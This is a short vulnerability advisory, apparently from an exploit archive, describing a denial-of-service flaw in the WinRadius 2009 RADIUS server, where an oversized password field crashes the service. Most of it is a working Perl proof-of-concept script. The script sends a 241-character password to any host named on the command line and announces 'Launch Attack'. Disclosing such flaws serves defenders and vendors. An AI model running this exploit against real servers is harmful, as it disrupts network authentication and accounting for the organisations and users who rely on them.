WinRadius 2009 Denial Of Service

`Title: WinRadius Server Denial Of Service Vulnerability  
Software : WinRadius  
  
Software Version : v2009  
  
Vendor: http://www.elite-school.com/saas/WinRadius/  
  
Vulnerability Published : 2012-05-27  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)  
  
Bug Description :  
WinRadius is a standard RADIUS server for network authentication, accounting. It's easy to use, and can be used for telecommunication accounting platform, PPP authentication, accounting server. It support PPP, PPPoE, PPTP, VPN, VoIP, ADSL, Cable Modem, CDMA, GSM, GPRS, WLAN(802.1x), etc.  
WinRadius server would bind udp port 1812 and 1813, but it does not validate the password option size leading to a Denial Of Service flaw while sending more than 240 characters to it.  
  
Proof Of Concept :  
-----------------------------------------------------------  
#!/usr/bin/perl  
use Authen::Simple::RADIUS;  
$|=1;  
$host=shift || die "usage: $0 host\n";  
print "Launch Attack ... \n";  
$username=int(rand(10)).int(rand(10)).int(rand(10));  
$password='A'x241;  
$secret=int(rand(10)).int(rand(10)).int(rand(10));  
$radius = Authen::Simple::RADIUS->new(  
host => $host,  
secret => $secret  
);  
$radius->authenticate( $username, $password );  
print "Finish!\n";  
exit(1);  
-----------------------------------------------------------  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Pentester/Researcher  
Dark2S Security Team/PolyU.HK  
`